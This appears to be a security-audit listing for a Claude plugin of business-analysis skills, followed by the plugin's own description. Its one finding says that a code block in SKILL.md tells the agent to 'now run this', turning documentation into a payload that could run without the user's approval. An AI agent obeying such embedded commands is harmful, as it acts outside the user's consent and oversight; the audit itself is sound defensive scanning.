Ba Skills — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Ba Skills (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The primary manifest — the file an agent reads to learn what this artifact does.
Just enough business architecture. For every BA, on every project.
PlausibleBA gives business analysts the business architecture techniques they need to ground their work — capability mapping, concept modelling, value stream design — without requiring a business architecture practice or a BIZBOK certification.
Each skill encodes a proven methodology, walks you through it step by step, and produces a professional artefact your stakeholders will recognise. The result is architecture-quality thinking delivered at BA speed.
Business architects have a toolkit that BAs have largely left on the table: capability maps that ground requirements in what the organisation actually does, concept models that eliminate ambiguity about what terms mean, value streams that show how capabilities orchestrate to deliver outcomes.
These aren't enterprise architecture exercises. Used at project scope, they make every other BA technique more rigorous — stakeholder analysis, requirements elicitation, gap analysis, solution design. PlausibleBA makes them accessible.
One plugin, PlausibleBA — Business Architecture Skills, installs all six skills.
plausibleba/ba-skillsclaude plugin marketplace add plausibleba/ba-skills
claude plugin install plausible-ba@plausible-baRun a skill by asking for what it does ("prepare a context document for …", "build a capability map from these notes") or by name, for example /ba-opmodel-context.
The skills/*/SKILL.md files follow the universal skill format and work with any tool that supports skill files.
ba-opmodel-context — v1.0.0 (first run September 2026)Know what can be known before you ask. Build a Context Document for an organisation and the division in scope from public and supplied material — annual reports, regulator and industry standards, statistics agencies, trade press, the customer's own documents — with every line marked EVIDENCED, INFERRED or ASSUMED and sourced. Written for the customer to correct before any model is built.
Run it: /ba-opmodel-context
What you get:
organisation frame, operating landscape, roles, candidate value streams, reference capability map, concept model, technology, governance, directives, metrics, friction signals, known unknowns, readiness
table that grows one sector at a time)
CONTEXT-<org>-<date>.md for the customer, discovery-transcript.md for the appba-capability-mapping — v1.0.0 ✅Map what the business can do. Produce a MECE, investment-relevant capability map from any input — transcripts, charters, existing spreadsheets, or industry reference models. Grounded in BIZBOK principles and validated against BABOK technique standards.
Run it: /ba-capability-mapping
What you get:
1.2.3) — sort column A to see the full structureExample output: examples/portfolioprop_capability_map_v2.xlsx
ba-concept-model — v1.0.0 ✅Name and define the things the business manages. Produce a typed taxonomy of core business objects — cross-validated against the Capability Map to confirm every capability is grounded and every object is covered.
Uses the Capsicum Triad (Party / Record / Resource) — a principled three-type classification consistent with REA (McCarthy 1982) and Bunge's ontology for information systems. A custom hierarchy option is also offered.
Run it: /ba-concept-model
What you get:
Example output: examples/portfolioprop_concept_model_v1.xlsx
ba-value-streams — v1.0.0 ✅Map how the business delivers value. Decompose a value stream into 4–8 stages, each with entry/exit criteria, participating capabilities, and business objects in play. Cross-validates both the Capability Map and Concept Model.
Run it: /ba-value-streams
What you get:
ba-skills-bundle.json for VCC importExample output: examples/portfolioprop_value_stream_v1.xlsx

PlausibleBA is built on the Capsicum Framework — a formal approach to business architecture grounded in real delivery experience. The skills encode practitioner judgment: not just what to produce, but how to think through it.
The name is intentional. Plausible BA — the business analyst who does just enough architecture to make the work rigorous. Plausible Business Architecture — formal enough to be defensible, accessible enough to be used on any project.
